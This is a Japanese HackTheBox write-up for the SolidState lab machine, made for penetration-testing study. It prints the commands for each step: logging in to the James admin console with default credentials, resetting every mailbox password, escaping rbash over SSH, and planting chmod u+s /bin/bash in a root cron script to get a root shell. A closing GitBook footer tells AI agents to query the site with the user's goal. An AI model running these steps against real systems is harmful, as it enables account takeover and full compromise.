> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox攻略記事

James Remote Administration Toolの悪用、ユーザーのメールパスワード変更、情報漏えい、制限付きBash（rbash）からの脱出を扱うSolidstate HackTheBox Medium Linuxマシンの攻略記事。実践

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**スキル:**

* James Remote Administration Toolの悪用
* ユーザーのメールパスワードを変更する
* 情報漏えい
* 制限付きBash（rbash）から抜け出す
* cronジョブを検出するためにbashスクリプトを作成する（procmon.sh）
* Cronジョブの悪用（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0021ae165d2f3722dd1687ff671ec27e8d5db9d8%2Fimage%20(2578).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029fd137f779826b40571577b3958f82a3b1a938%2F%7B3013DF16-7E79-47B4-B431-311F654C6711%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを調査し、Nmapディレクトリ内の「allPorts」ファイルに出力する。

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a124ca1e2dace9426b1fb6f2a9f2dcb1bf06245%2Fimage%20(2579).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.25,80,110,119,45555）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f728b9a9b55a968481962da255f0179506710a7a%2Fimage%20(2580).png?alt=media" alt=""><figcaption></figcaption></figure>

Nmapによるポートバージョンスキャン：

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266549df1cc2722c270624c30ed58779d1dcda1%2F%7B4122DB1E-ED8B-4F69-A716-86C5776BAC30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80

#### ポート80では興味深い情報は見つかりませんでした。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93a73940cc5b4af4578e63400ad6c54c8cde78a3%2Fimage%20(2581).png?alt=media" alt=""><figcaption></figcaption></figure>

## JAMES リモート管理

### ポート119 - NNTP

> ポート119はNetwork News Transfer Protocolを使用します。サーバーではApache Jamesのインスタンス、メールサーバー、ニュースが稼働しています。次のように接続します `netcat`、しかし関連する情報は見つかりません。

```bash
nc 10.10.10.51 119
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac52aaefad480ecc1e2707fb767e5cbb60df7b7e%2Fimage%20(2585).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート4555 - リモート管理ツール

> リモート管理の文脈では、ターゲットマシン上のコントロールパネルにアクセスしたり、リモートサービスとやり取りしたりするために使用できます。開いているかどうか、またどのサービスをホストしているかを確認するためにスキャンすることが重要です。

Telnet経由でJamesの管理パネルに接続してみます：

```bash
telnet 10.10.10.51 4555
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9b69cb11db8b4ba5cbde48f429f9937ce8bc64%2Fimage%20(2582).png?alt=media" alt=""><figcaption></figcaption></figure>

デフォルトの認証情報を探したところ、次が見つかります：

* **ID** : root
* **パスワード** : root

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69074b0e161c628ff9e3a8823ef1e0af04907555%2Fimage%20(2583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1518ab79ebe0f30c9b60d29a92fc0a92595946eb%2Fimage%20(2584).png?alt=media" alt=""><figcaption></figcaption></figure>

接続に成功し、Jamesの管理パネルにアクセスします。次の `listusers` コマンドを使ってユーザーを一覧表示でき、5人のユーザーを発見できます：

* `ユーザー: james`
* `ユーザー: thomas`
* `ユーザー: john`
* `ユーザー: mindy`
* `ユーザー: mailadmin`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15c171b11ef961402c79067a1813f6c62343f0be%2Fimage%20(2586).png?alt=media" alt=""><figcaption></figcaption></figure>

次の `setpassword` コマンドを使ってユーザーのパスワードを変更し、ポート110のメールクライアントに接続できるようにします。すべてのユーザーに対してこれを行います：

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd03b9a00bf3d2978d4eafffbea83d2eb2f033c5%2Fimage%20(2587).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート110 - POP3

> ポート110は、次に使用される標準ポートです： **POP3** （Post Office Protocol version 3）。このプロトコルは、メールクライアントがサーバーからメールを取得するために使用されます。このポート経由でユーザーがPOP3サーバーに接続すると、メッセージをダウンロードできます。

ここで、Telnet経由でPOP3クライアントに接続します：

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

接続するには、次のコマンドを使用します：

```ada
USER <user>
PASS <password>
```

次の `list` コマンドを使用します。

メールボックスにはメッセージがないことがわかります `james` および `thomas`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1d9940d1c339a1c5b9bc44b6b8a0c43d4c8b8c7%2Fimage%20(2588).png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、ユーザー `john` には、次のコマンドで取得できるメッセージがあります： `retr 1` そのメッセージには次のテキストが含まれています：

> John,
>
> Mindyがプログラムに参加できるようになるまで、彼女のアクセスを制限してもらえますか？ また、彼女が自分のアカウントに接続できるよう、一時的なパスワードも送ってください。
>
> よろしくお願いします。
>
> 敬具、/ James

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8f6ae1ff1fd1cf1787c337a246d667f138b24b1%2Fimage%20(2589).png?alt=media" alt=""><figcaption></figcaption></figure>

これは、ユーザー `mindy` のメールボックスに認証情報があることを示しています。実際、次の情報が見つかります：

* **ユーザー名** : mindy
* **パスワード** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b30fc925aed5ccf801ef0c46bc305b96ded344c3%2Fimage%20(2590).png?alt=media" alt=""><figcaption></figcaption></figure></div>

この認証情報を使ってSSH経由で接続し、フラグを取得します `user.txt`.

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4aaa7b8b3c59eb50ae0ca7922721c841586d0bd%2Fimage%20(2591).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

### **RBashからBashへ脱出する**

その `mindy` 現在のユーザーは `rbash` 多くのコマンドの実行を制限するシェルを使用しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

この制限を回避するため、SSH接続時に次のコマンドを使ってBashシェルを取得します：

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、次のコマンドを使って端末を整え、完全なシェルを取得します：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cronタスク - 修正版スクリプト（Python）：

ターゲットマシンで実行されているcronタスクを検出するため、現在のプロセスを分析するBashスクリプトを作成します：

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

バイナリがあり、Bashシェルをその権限で実行できるようになります **root** ユーザーがPythonスクリプトを実行していることに気づきます。場所は `/opt/tmp.py` ディレクトリです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9538c0cbd5164035789a6eea857c7073875affc4%2Fimage%20(914).png?alt=media" alt=""><figcaption></figcaption></figure>

このPythonスクリプトを修正できる可能性があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95e7236d2a6a42cc92e1ab2bebbf6164597e73d9%2Fimage%20(915).png?alt=media" alt=""><figcaption></figcaption></figure>

それを修正して、ある **setuid** の `/bin/bash` バイナリを実行することで、 **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

スクリプトを編集した後、cronタスクが実行されるまで約1分待ちます。

cronタスクが実行されると、次の権限でBashシェルを取得できます **root** 権限付きで

```bash
/bin/bash -p
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20afa3f33b8693d87c89d5a9adc507b116c361df%2Fimage%20(916).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30947eda0d69d9b47d9155cd855e52c6f542bbb5%2Fimage%20(917).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc1faec4f3dad1858ac9b48ad6737cb00b3a2ce%2F%7B1027F92C-0EA9-4241-A996-C0C29A1EA219%7D.png?alt=media" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
